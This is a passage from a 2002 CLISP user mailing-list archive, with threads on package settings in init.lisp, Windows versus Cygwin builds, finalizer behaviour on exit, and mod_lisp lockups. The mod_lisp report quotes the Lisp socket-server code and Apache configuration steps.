LiA8QlI+DQozMCBkYXkgc3RhbmRhcmQgcmV0dXJuIHBvbGljeSAobW9uZXkgYmFjayBndWFyYW50 ZWUpIG9uIGFsbCBtZXJjaGFuZGlzZS4gOTAgZGF5IHVubGltaXRlZCBleGNoYW5nZSBwb2xpY3kg PEJSPg0KJm5ic3A7Jm5ic3A7Jm5ic3A7IGZvciBkZWZlY3RpdmUgbWVyY2hhbmRpc2U8Rk9OVCBG QUNFPSJDb21pYyBTYW5zIE1TIj4uPC9GT05UPiA8L1A+DQo8Qj48VT48UCBBTElHTj0iQ0VOVEVS Ij5FWENMVVNJT05TOjwvQj48L1U+IDwvUD4NCjxVPjxQIEFMSUdOPSJDRU5URVIiPldlIGRvIG5v dCBjYXJyeTo8L1U+IDwvUD4NCjxQIEFMSUdOPSJDRU5URVIiPiZuYnNwOyZuYnNwOyZuYnNwOyAt IFhlcm94LCBCcm90aGVyLCBQYW5hc29uaWMsIG9yIEZ1aml0c3UgUHJvZHVjdHMgPEJSPg0KJm5i c3A7Jm5ic3A7Jm5ic3A7IC0gRGVza2pldC9JbmtqZXQgb3IgQnViYmxlamV0IHByb2R1Y3RzIDxC Uj4NCiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyAtQW55IE9mZmJyYW5kcyBiZXNpZGVzIHRoZSBv bmVzIGxpc3RlZCBhYm92ZS4gQWxsIGNhcnRyaWRnZXMgPEJSPg0KJm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7IGFyZSBjb21wYXRpYmxlIGhpZ2gg eWllbGQgcHJvZHVjdHMuPC9QPg0KPFA+PEJSPg0KPEJSPg0KJm5ic3A7IDxCUj4NCiZuYnNwOyA8 QlI+DQombmJzcDsgPEJSPg0KJm5ic3A7IDxCUj4NCiZuYnNwOyA8QlI+DQombmJzcDsgPEJSPg0K Jm5ic3A7IDxCUj4NCiZuYnNwOyA8QlI+DQombmJzcDsgPEJSPg0KJm5ic3A7IDxCUj4NCiZuYnNw OyA8QlI+DQombmJzcDsgPEJSPg0KJm5ic3A7IDxCUj4NCiZuYnNwOyA8QlI+DQombmJzcDsgPEJS Pg0KJm5ic3A7IDxCUj4NCiZuYnNwOyA8QlI+DQombmJzcDsgPEJSPg0KJm5ic3A7IDxCUj4NCiZu YnNwOyA8QlI+DQombmJzcDsgPEJSPg0KJm5ic3A7IDxCUj4NCiZuYnNwOyA8QlI+DQombmJzcDsg PEJSPg0KJm5ic3A7IDxCUj4NCiZuYnNwOyA8QlI+DQombmJzcDsgPC9QPg0KPFA+PEJSPg0KJm5i c3A7IDxCUj4NCiZuYnNwOyA8QlI+DQombmJzcDsgPEJSPg0KJm5ic3A7IDxCUj4NCiZuYnNwOyA8 QlI+DQombmJzcDsgPEJSPg0KJm5ic3A7IDxCUj4NCiZuYnNwOyA8QlI+DQombmJzcDsgPEJSPg0K Jm5ic3A7IDwvUD48L0JPRFk+DQo8L0hUTUw+DQo= From Rohan.Nicholls@informaat.nl Wed Jul 10 03:48:17 2002 Received: from [193.172.12.24] (helo=golf.informaat.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17SF16-0007vA-00 for ; Wed, 10 Jul 2002 03:48:17 -0700 X-MimeOLE: Produced By Microsoft Exchange V6.0.5762.3 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: RE: [clisp-list] *load-path* Message-ID: <4F921A056342324B8F02280235DF4F920B06DD@golf.informaat.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [clisp-list] *load-path* Thread-Index: AcInQ1Ftu62pYN9UTASCubF9KHtQMwABJaQA From: "Rohan Nicholls" To: "Marco Baringer" , "clisp-list (E-mail)" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jul 10 03:49:03 2002 X-Original-Date: Wed, 10 Jul 2002 12:47:57 +0200 >my init.lisp ends in this: >(LOAD "config") ; configuration parameters to be adjusted by the = user >(setq sys::*home-package* nil ext:*command-index* 0) >(in-package "CL-USER") ; make the default package the current = one >does yours? Yes it does which is what was so odd. >what does clisp -norc -x '*package*' say? I have since recompiled the sources on cygwin and everything works = although this time I didn't mess with the config.lisp file it gave me = errors again. On cygwin I get: # Bye. while on the windows version I get: *PACKAGE* *** - READ: input stream # ends within an = object Bye. I have reset the emacs to give me a choice of which version I use. I = have moved as much as I can to run on cygwin, so I will be using the = cygwin version which seems to have more functionality, but this may be = an illusion. I will post a question about that on the list. As to On Lisp, I have it on my harddrive, and I think I am ready to = tackle it after a brief visit to the last part of ANSI Common Lisp. Thanks for your help, it really cleared a lot up for me. Rohan -----Original Message----- From: Marco Baringer [mailto:empb@bese.it] Sent: dinsdag 9 juli 2002 14:23 To: Rohan Nicholls Subject: Re: [clisp-list] *load-path* "Rohan Nicholls" writes: > Thanks for your help. I have been using the windows clisp setup, > and it seems that the config.lisp starts by putting you in the "EXT" > package, and not taking you out. For some reason this causes this is normal. usually files which define code associated to a certain package make sure that before they start they're in the right package. since everybody does this no one worrys about "resetting" the package when they're done. > problems even though at the end of init.lisp it puts you back in the > "CL-USER" package(which makes me think that line is not getting > evaluated), so I have just set it back in the config.lisp and that my init.lisp ends in this: (LOAD "config") ; configuration parameters to be adjusted by the user (setq sys::*home-package* nil ext:*command-index* 0) (in-package "CL-USER") ; make the default package the current one does yours? > seems to work. But in figuring that out I started looking into > init.lisp and having to understand how the packaging system works as > it is very important to the way init.lisp is written. init.lisp is "different." it is part of a compiler and so doesn't use "best practices", it does what is needed in order to compile CLISP. you should look at other packages (try clocc or cclan) to see how package are normally used. what does clisp -norc -x '*package*' say? on my system: /Users/marco $ ../bin/clisp -norc -x '*package*' # as far as books go after you've been through cltl and ANSI Common Lisp i would *strongly* suggest having a look at "On Lisp", also by Paul Graham. he recently made the entire text available from his site paulgraham.com. --=20 -Marco Ring the bells that still can ring. Forget the perfect offering. There's a crack in everything. It's how the light gets in. -Isonard Cohen From Rohan.Nicholls@informaat.nl Wed Jul 10 03:57:11 2002 Received: from [193.172.12.24] (helo=golf.informaat.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17SF9j-0002XK-00 for ; Wed, 10 Jul 2002 03:57:11 -0700 X-MimeOLE: Produced By Microsoft Exchange V6.0.5762.3 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Message-ID: <4F921A056342324B8F02280235DF4F920FC703@golf.informaat.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: windows versus cygwin version of clisp Thread-Index: AcIoAHw/l9WFUBtzRbm+I/qd2cSB0Q== From: "Rohan Nicholls" To: "clisp-list (E-mail)" Subject: [clisp-list] windows versus cygwin version of clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jul 10 03:58:02 2002 X-Original-Date: Wed, 10 Jul 2002 12:56:46 +0200 Thanks for all the help I got with the *load-path* problem, and now = another question about the difference between the versions of clisp. The short question is: Are there large differences between the windows = and cygwin versions of clisp? I notice that there are different = packages listed with (list-all-packages). I also noticed in the src directory that there are such files as = threads.lisp, is this something that is under development and so use at = own risk or is part of the official release, as it is not automatically = loaded in init.lisp? Thanks again, Rohan From Joerg-Cyril.Hoehle@t-systems.com Wed Jul 10 04:00:27 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17SFCr-00040x-00 for ; Wed, 10 Jul 2002 04:00:25 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 10 Jul 2002 12:59:27 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <3TP022AW>; Wed, 10 Jul 2002 13:00:12 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] howto: Finalization in CLISP MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jul 10 04:01:05 2002 X-Original-Date: Wed, 10 Jul 2002 13:00:11 +0200 Hi, >> FINALIZE in CLISP does not guarantee finalization. Although it is >> invoked by the garbage collector, it is not used when CLISP exists. This was a design choice when finalizers where introduced. I feel it's acceptable for UNIX, less so for other OS. >this is easy to fix - just run all finalizers on exit. should it be? >what are the issues? (obviously, the possible errors while running >the finalizers have to be ignored -- what else?) o Debate whether it is acceptable that programmer definable Lisp code is still run after EXT:EXIT has been called. o Finalizers which do nothing more than free() or close[socket]() are superfluous and waste precious time when an application has been ordered to exit. I.e. all finalizers for resources which the OS closes itself upon program exit. However, some resources are not freed when an application exits. E.g. shared memory, which is used a lot in AmigaOS, and I've been told that MS-Windows also has different types of memory (and B and C pointers?). o To obtain finalizers, GC must be run. To obtain all of them, a full GC across all generations must be run. I doubt this is accepted by users after they said EXT:exit, *especially* if only free() is to be called (what the OS does by itself). o Ordering of finalizers may be an issue. One would wish for e.g. sockets to be released before the winsock library is released as well. To a first approximation, it looks like finalizers and GC must be run iteratively, until a stable point is reached, so the reference to winsock hold by the reference to a socket will be cut by the first GC+finalization sweep which closes the socket and be ready to be released in the second iteration. This sounds quite more work than benefit, doesn't it? o You mention errors whithin finalizer scope. This is a topic which must be documented independently of program exit behaviour. CLISP must document that finalizers are removed from the lisp before their code is invoked. Thus, if an error occurs, the finalizer will not be called a second time. Or if it's just the opposite behaviour, document that (I didn't look). Note that it may not be acceptable for programmers and users that finalizers, which are invoked quasi asynchronously to program execution (from a high level POV), may cause CLISP to signal error at any time within their code. This issue may have to be changed as well. o put ignore-errors around each call to a finalizer, or o put a single ignore-errors around the complete finalization (thus if an error occurs, remaining finalizers are not called, but they ought to be after the next GC). Regards, Jorg Hohle. From samuel.steingold@verizon.net Wed Jul 10 07:42:30 2002 Received: from h000.c001.snv.cp.net ([209.228.32.114] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17SIfj-0004g2-00 for ; Wed, 10 Jul 2002 07:42:27 -0700 Received: (cpmta 27516 invoked from network); 10 Jul 2002 07:42:20 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.114) with SMTP; 10 Jul 2002 07:42:20 -0700 X-Sent: 10 Jul 2002 14:42:20 GMT To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] howto: Finalization in CLISP References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 90 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jul 10 07:43:06 2002 X-Original-Date: 10 Jul 2002 10:42:19 -0400 > * In message > * On the subject of "[clisp-list] howto: Finalization in CLISP" > * Sent on Wed, 10 Jul 2002 13:00:11 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > >> FINALIZE in CLISP does not guarantee finalization. Although it is > >> invoked by the garbage collector, it is not used when CLISP exists. > > This was a design choice when finalizers where introduced. I feel it's > acceptable for UNIX, less so for other OS. > > >this is easy to fix - just run all finalizers on exit. should it be? > >what are the issues? (obviously, the possible errors while running > >the finalizers have to be ignored -- what else?) > > o Debate whether it is acceptable that programmer definable Lisp code > is still run after EXT:EXIT has been called. finalizers are "die hooks", so this is okay. > o Finalizers which do nothing more than free() or close[socket]() are > superfluous and waste precious time when an application has been > ordered to exit. I.e. all finalizers for resources which the OS closes > itself upon program exit. sockets and files are already closed on exit. > However, some resources are not freed when an application > exits. E.g. shared memory, which is used a lot in AmigaOS, and I've > been told that MS-Windows also has different types of memory (and B > and C pointers?). this should not be done using finalizers - after all they are hooks into GC. > o To obtain finalizers, GC must be run. To obtain all of them, a full > GC across all generations must be run. I doubt this is accepted by > users after they said EXT:exit, *especially* if only free() is to be > called (what the OS does by itself). nope. just go over O(all_finalizers). > o Ordering of finalizers may be an issue. One would wish for > e.g. sockets to be released before the winsock library is released as > well. neither has anything to do with finalizers. both are already being done. > To a first approximation, it looks like finalizers and GC must be run > iteratively, until a stable point is reached, so the reference to > winsock hold by the reference to a socket will be cut by the first > GC+finalization sweep which closes the socket and be ready to be > released in the second iteration. > This sounds quite more work than benefit, doesn't it? irrelevant, see above. > o You mention errors whithin finalizer scope. This is a topic which > must be documented independently of program exit behaviour. > CLISP must document that finalizers are removed from the lisp before > their code is invoked. Thus, if an error occurs, the finalizer will > not be called a second time. Or if it's just the opposite behaviour, > document that (I didn't look). errors are handled normally - via the error reploop > Note that it may not be acceptable for programmers and users that > finalizers, which are invoked quasi asynchronously to program > execution (from a high level POV), may cause CLISP to signal error at > any time within their code. lisp gives you ample opportunity to shoot yourself in the foot. > This issue may have to be changed as well. > o put ignore-errors around each call to a finalizer, or > o put a single ignore-errors around the complete finalization (thus if > an error occurs, remaining finalizers are not called, but they ought > to be after the next GC). I guess the *DRIVER* will have to be bound to NIL (or something) around the finalization in quit(). BTW, why wasn't module-finalization not implemented? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux The world is coming to an end. Please log off. From lists@consulting.net.nz Sat Jul 13 01:29:39 2002 Received: from ip210-55-214-178.ip.win.co.nz ([210.55.214.178] helo=fire) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17TIHa-0005VI-00 for ; Sat, 13 Jul 2002 01:29:38 -0700 Received: from other ([210.55.214.182] helo=localhost.localdomain) by fire with esmtp (Exim 3.35 #1 (Debian)) id 17TIHU-0000vd-00 for ; Sat, 13 Jul 2002 20:29:32 +1200 From: Adam Warner To: clisp-list@lists.sourceforge.net Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.5 Message-Id: <1026549146.2319.44.camel@work> Mime-Version: 1.0 Subject: [clisp-list] clisp, mod_lisp and lockups Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jul 13 01:30:06 2002 X-Original-Date: 13 Jul 2002 20:32:26 +1200 Hi all, Marc Battyani suggested I ask the clisp mailing list to see if anyone else has isolated lockups that they have been having with mod_lisp. I'm the third person that has experienced lockups with clisp and mod_lisp. I also concur that they do not happen with cmucl: http://groups.google.co.nz/groups?hl=en&lr=&ie=UTF-8&threadm=6b4aa54a.0206060137.3739b9a4%40posting.google.com&rnum=1&prev=/groups%3Fselm%3D6b4aa54a.0206060137.3739b9a4%2540posting.google.com mod_lisp is a little Apache module that allows you to serve content using clisp and still leave Apache to serve other content reliably and at high speed (after all it's Apache). I've found that the lockups can be avoided by creating a new socket each time. But this induces very strange behaviour where the page is served to Mozilla every second time (zero content is returned every other time). This is where I'm up to on the Debian bug database: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=152742 The bug is either in clisp (unlikely), mod_lisp.c or modlisp-clisp.lisp. The content of http://www.fractalconcept.com/fcweb/download/modlisp-clisp.lisp.gz is listed below. Since the wrong MIME type is set on the web site it's not easy to view without downloading and gunzipping it. Thanks for any help. mod_lisp+clisp is just not popular enough for the clisp problem to have been found and fixed by someone who understands interfacing with Apache. If you want to try mod_lisp+clisp out and are stuck then post your question here and I should be able to answer it. The meta install process is: (1) make sure you have the mod_lisp.so module installed. If you have the (Debian) apache-dev tools compiling the modules is as easy as typing "apxs -c mod_lisp.c" and placing mod_lisp.so in /usr/lib/apache/1.3/ (2) Add a LoadModule line into httpd.conf under the current LoadModule lines: LoadModule lisp_module /usr/lib/apache/1.3/mod_lisp.so (3) Make sure at least some content is going to be served by the module. For example add this to the end of httpd.conf: LispServer 127.0.0.1 3000 "test" SetHandler lisp-handler (4) Restart apache (e.g. "/etc/init.d/apache restart") (5) load modlisp-clisp.lisp into clisp: (load "modlisp-clisp.lisp") (6) and run the server: (modlisp:modlisp-server) If you try and access http:///modlisp/fixed you should then see a table of key values. If you repeat long enough you might get a lockup. wget seems very good at inducing lockups/timeouts. Type CTRL-C to break the running clisp program. modlisp/fixed is the default path to serve the key values (refer modlisp-clisp.lisp code below) Regards, Adam ;;; -*- Mode:Lisp; Syntax:Common-lisp; Package:MODLISP; Base:10 -*- ;; modlisp-clisp.lisp ;; adapted from modlisp-acl.lisp ;; Original CLISP adaption by Rachel Richard ;; Changes by Nils Kassube on 2001-11-24: ;; ;; - replaced :lisp by :ext for CLISP's new naming convention, ;; works now with recent CLISP distributions ;; - added modlisp-server to the :export line (in-package :user) (provide :modlisp) (eval-when (compile load eval) (defpackage :modlisp (:nicknames :lph) (:use :cl) (:export modlisp-server) )) (in-package :modlisp) ;;;;; ;;; ;;; First part adapted from server.cl ;;; ;;;;; (defvar *server-count* 0) ; used to name servers (defun make-socket-server (&key (name (format nil "socket server ~d " (incf *server-count*))) port function wait (format :text)) ;; ;; create a server process with the given name, listening on the ;; given port, running the given function on each connection that ;; comes in, and possibly waiting for that function's completion before ;; accepting a new connection. ;; ;; name - a string naming the server process -- if nil, then this ;; function will create a name. ;; port - if nil then an internet domain port number will be chosen ;; by the operating system. If a number is given then that ;; port will be used (or an error will be signalled if it ;; is already in use). If port is a string then a unix ;; domain port will be used. (this will not work on Windows). ;; function - the function to run when a connection is made. This ;; function must take one argument which is the stream used ;; used for reading from and writing to the process that connected ;; to this socket. ;; wait - if true, then the function will be run in the server process ;; and thus the server won't accept a new connection until ;; the function finishes. ;; format - :text (the default) or :binary. This determes what kind ;; of data can sent to and read from the socket stream. ;; ;; ;; ;; The return value is the port number on which the server is ;; listening. ;; (let ((passive-socket (ext:socket-server port) ; )) (start-socket-server passive-socket :function function :wait wait) (ext:socket-server-port passive-socket))) (defun start-socket-server (passive-socket &key function wait) ;; internal function run in the server lightweight process ;; that continually processes the connection. ;; This code is careful to ensure that the sockets are ;; properly closed something abnormal happens. (unwind-protect (loop (let ((connection (ext:socket-accept passive-socket))) (if wait (progn (unwind-protect (funcall function connection) (handler-case (values-list (cons t (multiple-value-list (close connection)))) (error (condition) (declare (ignore-if-unused condition)) nil)))) (unwind-protect (funcall function connection) (handler-case (values-list (cons t (multiple-value-list (close connection)))) (error (condition) (declare (ignore-if-unused condition)) nil))) ))) (handler-case (values-list (cons t (multiple-value-list (close passive-socket)))) (error (condition) (declare (ignore-if-unused condition)) nil)))) ;;;;; ;;; ;;; Second part adapted from mod-lisp.lisp ;;; ;;;;; (defconstant +apache-port+ 3000) (defvar *apache-socket* nil) ;the socket to apache (defvar *close-apache-socket* nil) ;set to t if you want to close the socket to apache (defvar *apache-nb-use-socket* 0) ;the number of requests sent in this socket (defun modlisp-server (&optional (port +apache-port+)) (make-socket-server :name "test" :port port :function 'apache-listen)) (defun apache-listen (*apache-socket*) (let ((*close-apache-socket* t)) (unwind-protect (loop for *apache-nb-use-socket* from 0 for command = (get-apache-command) while command do (process-apache-command command) (force-output *apache-socket*) until *close-apache-socket*) (close *apache-socket*)))) (defun get-apache-command () (ignore-errors (let* ((header (loop for key = (read-line *apache-socket* nil nil) while (and key (string-not-equal key "end")) collect (cons key (read-line *apache-socket* nil nil)) ))) (let* ((content-length (cdr (assoc "content-length" header :test #'equal))) (content (when content-length (make-string (parse-integer content-length :junk-allowed t))))) (when content (read-sequence content *apache-socket*) (push (cons "posted-content" content) header)) header)))) (defun process-apache-command (command) (let ((html (if (equal (cdr (assoc "url" command :test #'string=)) "/modlisp/fixed") (debug-table command) (fixed-html)))) (write-header-line "Status" "200 OK") (write-header-line "Content-Type" "text/html") (write-header-line "Content-Length" (format nil "~d" (length html))) (write-header-line "Keep-Socket" "1") (write-string "end" *apache-socket*) (write-char #\NewLine *apache-socket*) (write-string html *apache-socket*) (setf *close-apache-socket* nil))) (defun debug-table (command) (with-output-to-string (s) (write-string " " s) (format s "" *apache-nb-use-socket*) (loop for (key . value) in command do (format s "" key value)) (write-string "
CLISP + mod_lisp 2.0 + apache + Linux
KeyValue
apache-nb-use-socket~a
~a~a
" s))) (defun fixed-html () "

mod_lisp 2.0

This is a constant html string sent by mod_lisp 2.0 + CLISP + apache + Linux

") (defun write-header-line (key value) (write-string key *apache-socket*) (write-char #\NewLine *apache-socket*) (write-string value *apache-socket*) (write-char #\NewLine *apache-socket*)) From jjorgens@2gn.com Sat Jul 13 06:55:35 2002 Received: from [156.27.16.10] (helo=2gn.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17TNN0-0002jx-00 for ; Sat, 13 Jul 2002 06:55:35 -0700 Received: from localhost (jjorgens@localhost) by 2gn.com (8.9.3/8.9.3) with ESMTP id KAA21796; Sat, 13 Jul 2002 10:22:09 -0400 From: John Jorgensen To: Adam Warner cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp, mod_lisp and lockups In-Reply-To: <1026549146.2319.44.camel@work> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jul 13 06:56:03 2002 X-Original-Date: Sat, 13 Jul 2002 10:22:09 -0400 (EDT) I've been seeing similar problems here. The fast way to make mod_lisp "lock up" is to access a page under /modlisp that doesn't exist, for instance; http://localhost/modlisp/foobar . At least this does it for me. Once I access /modlisp/foobar, I can't access /modlisp/fixed . I may adapt bits of modlisp-clisp.lisp to the socket server in clocc and see if I get the same problems. Like you, I'm not convinced that this is a clisp bug but I haven't done much research into it yet. J* ---------------------------------------------- On 13 Jul 2002, Adam Warner wrote: > Hi all, > > Marc Battyani suggested I ask the clisp mailing list to see if anyone > else has isolated lockups that they have been having with mod_lisp. I'm > the third person that has experienced lockups with clisp and mod_lisp. I > also concur that they do not happen with cmucl: > > http://groups.google.co.nz/groups?hl=en&lr=&ie=UTF-8&threadm=6b4aa54a.0206060137.3739b9a4%40posting.google.com&rnum=1&prev=/groups%3Fselm%3D6b4aa54a.0206060137.3739b9a4%2540posting.google.com > > mod_lisp is a little Apache module that allows you to serve content > using clisp and still leave Apache to serve other content reliably and > at high speed (after all it's Apache). > > I've found that the lockups can be avoided by creating a new socket each > time. But this induces very strange behaviour where the page is served > to Mozilla every second time (zero content is returned every other > time). This is where I'm up to on the Debian bug database: > > http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=152742 > > The bug is either in clisp (unlikely), mod_lisp.c or modlisp-clisp.lisp. > The content of > http://www.fractalconcept.com/fcweb/download/modlisp-clisp.lisp.gz > is listed below. Since the wrong MIME type is set on the web site it's > not easy to view without downloading and gunzipping it. > > Thanks for any help. mod_lisp+clisp is just not popular enough for the > clisp problem to have been found and fixed by someone who understands > interfacing with Apache. > > If you want to try mod_lisp+clisp out and are stuck then post your > question here and I should be able to answer it. The meta install > process is: > > (1) make sure you have the mod_lisp.so module installed. If you have the > (Debian) apache-dev tools compiling the modules is as easy as typing > "apxs -c mod_lisp.c" and placing mod_lisp.so in /usr/lib/apache/1.3/ > > (2) Add a LoadModule line into httpd.conf under the current LoadModule > lines: > > LoadModule lisp_module /usr/lib/apache/1.3/mod_lisp.so > > (3) Make sure at least some content is going to be served by the module. > For example add this to the end of httpd.conf: > > > LispServer 127.0.0.1 3000 "test" > > SetHandler lisp-handler > > > > (4) Restart apache (e.g. "/etc/init.d/apache restart") > > (5) load modlisp-clisp.lisp into clisp: > > (load "modlisp-clisp.lisp") > > (6) and run the server: > > (modlisp:modlisp-server) > > > If you try and access http:///modlisp/fixed you should then > see a table of key values. If you repeat long enough you might get a > lockup. wget seems very good at inducing lockups/timeouts. > > Type CTRL-C to break the running clisp program. > > modlisp/fixed is the default path to serve the key values (refer > modlisp-clisp.lisp code below) > > Regards, > Adam > > > > > ;;; -*- Mode:Lisp; Syntax:Common-lisp; Package:MODLISP; Base:10 -*- > > ;; modlisp-clisp.lisp > ;; adapted from modlisp-acl.lisp > > ;; Original CLISP adaption by Rachel Richard > ;; Changes by Nils Kassube on 2001-11-24: > ;; > ;; - replaced :lisp by :ext for CLISP's new naming convention, > ;; works now with recent CLISP distributions > ;; - added modlisp-server to the :export line > > (in-package :user) > > (provide :modlisp) > > (eval-when (compile load eval) > (defpackage :modlisp > (:nicknames :lph) > (:use :cl) > (:export modlisp-server) > )) > > (in-package :modlisp) > > ;;;;; > ;;; > ;;; First part adapted from server.cl > ;;; > ;;;;; > > (defvar *server-count* 0) ; used to name servers > > (defun make-socket-server (&key (name (format nil "socket server ~d " > (incf *server-count*))) > port > function > wait > (format :text)) > ;; > ;; create a server process with the given name, listening on the > ;; given port, running the given function on each connection that > ;; comes in, and possibly waiting for that function's completion before > ;; accepting a new connection. > ;; > ;; name - a string naming the server process -- if nil, then this > ;; function will create a name. > ;; port - if nil then an internet domain port number will be chosen > ;; by the operating system. If a number is given then that > ;; port will be used (or an error will be signalled if it > ;; is already in use). If port is a string then a unix > ;; domain port will be used. (this will not work on Windows). > ;; function - the function to run when a connection is made. This > ;; function must take one argument which is the stream used > ;; used for reading from and writing to the process that connected > ;; to this socket. > ;; wait - if true, then the function will be run in the server process > ;; and thus the server won't accept a new connection until > ;; the function finishes. > ;; format - :text (the default) or :binary. This determes what kind > ;; of data can sent to and read from the socket stream. > ;; > ;; > ;; > ;; The return value is the port number on which the server is > ;; listening. > ;; > (let ((passive-socket (ext:socket-server port) ; > > )) > > (start-socket-server passive-socket > :function function > :wait wait) > (ext:socket-server-port passive-socket))) > > (defun start-socket-server (passive-socket &key function wait) > ;; internal function run in the server lightweight process > ;; that continually processes the connection. > ;; This code is careful to ensure that the sockets are > ;; properly closed something abnormal happens. > (unwind-protect > (loop (let ((connection (ext:socket-accept passive-socket))) > (if wait > (progn > (unwind-protect > (funcall function connection) > (handler-case (values-list (cons t > (multiple-value-list > (close connection)))) > (error (condition) (declare (ignore-if-unused condition)) > nil)))) > > > (unwind-protect > (funcall function connection) > (handler-case (values-list (cons t > (multiple-value-list > (close connection)))) > (error (condition) (declare (ignore-if-unused condition)) > nil))) > > ))) > > (handler-case (values-list (cons t > (multiple-value-list > (close passive-socket)))) > (error (condition) (declare (ignore-if-unused condition)) > nil)))) > > > ;;;;; > ;;; > ;;; Second part adapted from mod-lisp.lisp > ;;; > ;;;;; > > (defconstant +apache-port+ 3000) > (defvar *apache-socket* nil) ;the socket to apache > (defvar *close-apache-socket* nil) ;set to t if you want to close the socket to apache > (defvar *apache-nb-use-socket* 0) ;the number of requests sent in this socket > > (defun modlisp-server (&optional (port +apache-port+)) > > (make-socket-server :name "test" > :port port > :function 'apache-listen)) > > (defun apache-listen (*apache-socket*) > (let ((*close-apache-socket* t)) > (unwind-protect > (loop for *apache-nb-use-socket* from 0 > for command = (get-apache-command) > while command > do (process-apache-command command) > (force-output *apache-socket*) > until *close-apache-socket*) > (close *apache-socket*)))) > > (defun get-apache-command () > (ignore-errors > (let* ((header (loop for key = (read-line *apache-socket* nil nil) > while (and key (string-not-equal key "end")) > collect (cons key (read-line *apache-socket* nil nil)) ))) > (let* ((content-length (cdr (assoc "content-length" header :test #'equal))) > (content (when content-length (make-string (parse-integer content-length :junk-allowed t))))) > > (when content > (read-sequence content *apache-socket*) > (push (cons "posted-content" content) header)) > header)))) > > (defun process-apache-command (command) > (let ((html (if (equal (cdr (assoc "url" command :test #'string=)) > "/modlisp/fixed") > (debug-table command) > (fixed-html)))) > (write-header-line "Status" "200 OK") > (write-header-line "Content-Type" "text/html") > (write-header-line "Content-Length" (format nil "~d" (length html))) > (write-header-line "Keep-Socket" "1") > (write-string "end" *apache-socket*) > (write-char #\NewLine *apache-socket*) > (write-string html *apache-socket*) > (setf *close-apache-socket* nil))) > > (defun debug-table (command) > (with-output-to-string (s) > (write-string " > > > " s) > (format s "" *apache-nb-use-socket*) > (loop for (key . value) in command do > (format s "" key value)) > (write-string "
CLISP + mod_lisp 2.0 + apache + Linux
KeyValue
apache-nb-use-socket~a
~a~a
